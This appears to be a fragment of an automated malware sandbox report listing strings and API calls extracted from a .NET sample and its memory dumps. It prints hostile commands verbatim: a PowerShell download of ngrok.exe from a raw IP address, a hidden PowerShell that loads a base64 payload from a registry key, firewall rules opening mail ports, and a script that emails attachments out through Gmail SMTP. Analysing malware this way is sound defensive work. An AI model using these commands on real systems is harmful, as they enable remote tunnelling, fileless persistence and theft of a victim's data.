MemberReference "EndConnect" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_Connected" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "BeginReceive" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_LocalEndPoint" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "EndReceive" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "Create" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.NetworkStream" and MemberReference "" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Bind" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Listen" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "IOControl" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"45:T948,Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ContinueTimeout" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ReadWriteTimeout" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_KeepAlive" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_Accept" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_AutomaticDecompression" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ServerCertificateValidationCallback" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "get_ServicePoint" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebResponse" and MemberReference "get_StatusCode" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.WebClient" and MemberReference "set_Proxy" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.WebClient" and MemberReference "OpenRead" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.WebClient" and MemberReference "" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_AllowAutoRedirect" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"46:T90e,Found reference to API "powershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "System.Net.WebClient"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "powershell (new-object System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "System.Net.WebClient"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "System.Net.WebClient"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "ogFile=%TEMP%\proclog.txtset exeFile=%TEMP%\ngrok.exeset logFile=%TEMP%\proclog.txtpowershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');%exeFile% authtoken" (Indicator: "System.Net.WebClient"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to API "t System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "System.Net.WebClient"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to API "powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');" (Indicator: "System.Net.WebClient"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "owershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "System.Net.WebClient"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "owershell (new-object System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "System.Net.WebClient"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")47:T951,Found reference to "ECHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "SmtpServer"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "$SMTPServer = 'smtp.gmail.com';" (Indicator: "SmtpServer"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "SmtpServer"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "ECHO $SMTPServer = smtp.gmail.com >> %PSScript%" (Indicator: "SmtpServer"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "($SmtpServer, 587) >> %PSScript%" (Indicator: "SmtpServer"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to "Mail.SmtpClient($SmtpServer, 587);" (Indicator: "SmtpServer"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to "CHO $SMTPServer = smtp.gmail.com >> %PSScript%" (Indicator: "SmtpServer"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "CHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "SmtpServer"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "SMTPServer = 'smtp.gmail.com';" (Indicator: "SmtpServer"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "SmtpServer"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")48:T12c9,Found string "ECHO $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body) >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPClient.EnableSsl = $true >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP1 dir=in action=allow protocol=TCP localport=21 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP2 dir=in action=allow protocol=TCP localport=25 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTPS dir=in action=allow protocol=TCP localport=465 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=ESMTP dir=in action=allow protocol=TCP localport=587 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPServer = 'smtp.gmail.com';" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPInfo.EnableSsl = $true;" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPServer = smtp.gmail.com >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPMessage.Attachments.Add($Attachment) >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECHO $SMTPClient.Send($SMTPMessage) >> %PSScript%" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP1 dir=out action=allow protocol=TCP localport=21 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP2 dir=out action=allow protocol=TCP localport=25 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTPS dir=out action=allow protocol=TCP localport=465 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b netsh advfirewall firewall add rule name=ESMTP dir=out action=allow protocol=TCP localport=587 & exit" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPInfo.Send($ReportEmail);" (Indicator: "smtp"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "Server = smtp.gmail.com >> %PSScript%" (Indicator: "smtp"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "($SmtpServer, 587) >> %PSScript%" (Indicator: "smtp"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "art /b netsh advfirewall firewall add rule name=SMTP1 dir=in action=allow protocol=TCP localport=21 & exit" (Indicator: "smtp"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "rt /b netsh advfirewall firewall add rule name=SMTP2 dir=in action=allow protocol=TCP localport=25 & exit" (Indicator: "smtp"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "/b netsh advfirewall firewall add rule name=SMTPS dir=in action=allow protocol=TCP localport=465 & exit" (Indicator: "smtp"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp")49:Tea6,Observed email domain:"echo $smtpmessage = new-object system.net.mail.mailmessage($emailfrom, $emailto, $subject, $body) >> %psscript%" [Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin] Observed email domain:"echo $smtpclient = new-object net.mail.smtpclient($smtpserver, 587) >> %psscript%" [Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin] Observed email domain:"$smtpserver = 'smtp.gmail.com';" [Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin] Observed email domain:"$smtpinfo = new-object net.mail.smtpclient($smtpserver, 587);" [Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin] Observed email domain:"echo $smtpserver = smtp.gmail.com >> %psscript%" [Source: 600002f-_~_] Observed email domain:"echo $attachment = new-object system.net.mail.attachment($attachment) >> %psscript%" [Source: 600002f-_~_] Observed email domain:"$reportemail = new-object system.net.mail.mailmessage;" [Source: 60009ad-_~_] Observed email domain:"server = smtp.gmail.com >> %psscript%" [Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp] Observed email domain:".net.mail.mailmessage($emailfrom, $emailto, $subject, $body) >> %psscript%" [Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp] Observed email domain:"tpserver = 'smtp.gmail.com';" [Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp] Observed email domain:"cho $smtpserver = smtp.gmail.com >> %psscript%" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp] Observed email domain:"cho $smtpmessage = new-object system.net.mail.mailmessage($emailfrom, $emailto, $subject, $body) >> %psscript%" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp] Observed email domain:"cho $attachment = new-object system.net.mail.attachment($attachment) >> %psscript%" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp] Observed email domain:"cho $smtpclient = new-object net.mail.smtpclient($smtpserver, 587) >> %psscript%" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp] Observed email domain:"smtpserver = 'smtp.gmail.com';" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp] Observed email domain:"smtpinfo = new-object net.mail.smtpclient($smtpserver, 587);" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp] Observed email domain:"reportemail = new-object system.net.mail.mailmessage;" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp]4a:Teae,Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "https://google.com" Pattern match: "https://geocoder.ca/?locate=" Pattern match: "http://freegeoip.net/xml/" Pattern match: "http://api.ipify.org/" Heuristic match: "-new -extoff duckduckgo.com" Heuristic match: "microsoft-edge:duckduckgo.com" Pattern match: "https://whatismyipaddress.com/update-location" Pattern match: "http://geocoder.ca/?locate=" Pattern match: "http://127.0.0.1:4040/api/tunnels" Pattern match: "http://91.134.207.16/update/ngrok.exe\r\nset" Pattern match: "http://ip-api.com/json/" Pattern match: "http://91.134.207.16/update/ngrok.exe" Pattern match: "http://127.0.0.1:4040/api" Heuristic match: "xtoff duckduckgo.com" Heuristic match: ":duckduckgo.com" Heuristic match: "ttps://google.com" Pattern match: "der.ca/?locate=" Pattern match: "http://91.134.207.16/update/ngrok.exe','%exeFile%" Heuristic match: "new -extoff duckduckgo.com" Heuristic match: "icrosoft-edge:duckduckgo.com" Pattern match: "whatismyipaddress.com/update-location" Pattern match: "geocoder.ca/?locate=" Pattern match: "ip-api.com/json/" Pattern match: "freegeoip.net/xml/" Pattern match: "http://schemas.microsoft.com/SMI/2016/WindowsSettings" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "PATHEXT=.COM;.EXE;.BAT;.CM" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/TR/2001/REC-xml-c14n-20010315" Pattern match: "http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/TR/1999/REC-xpath-19991116" Pattern match: "http://www.w3.org/TR/1999/REC-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#XML" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512"4b:Ta65,Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003464.00000000.66478.01B60000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003464.00000000.66478.01B60000.00000004.mdmp") Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003464.00000002.70319.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003464.00000002.70319.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003464.00000002.70319.00172000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003464.00000002.70319.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003464.00000002.70319.00172000.00000020.mdmp") Found URL "https://geocoder.ca/?locate=apacityo" - Source: "00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found URL "ftp://xecuting" - Source: "00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003464.00000003.75826.00172000.00000020.mdmp")4c:T40e,Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")4d:T268b,Found string "FromBase64String" (Indicator: "base64"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ToBase64String" (Indicator: "base64"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ToBase64String" (Indicator: "ToBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "RijndaelManaged" (Indicator: "rijndael"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "RijndaelManaged" (Indicator: "Rijndaelmanaged"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "CryptoStreamMode" (Indicator: "cryptostream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "CryptoStreamMode" (Indicator: "cryptostreammode"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "CryptoStream" (Indicator: "cryptostream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "CreateDecryptor" (Indicator: "createdecryptor"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "aes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "cryptostream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "rijndael"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "createencryptor"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "cryptostreammode"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ZipFile" (Indicator: "zipfile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "GZipStream" (Indicator: "GzipStream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "AesCryptoServiceProvider" (Indicator: "aes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "AesCryptoServiceProvider" (Indicator: "aescryptoserviceprovider"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "CreateEncryptor" (Indicator: "createencryptor"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ZipFileExtensions" (Indicator: "zipfile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; File: 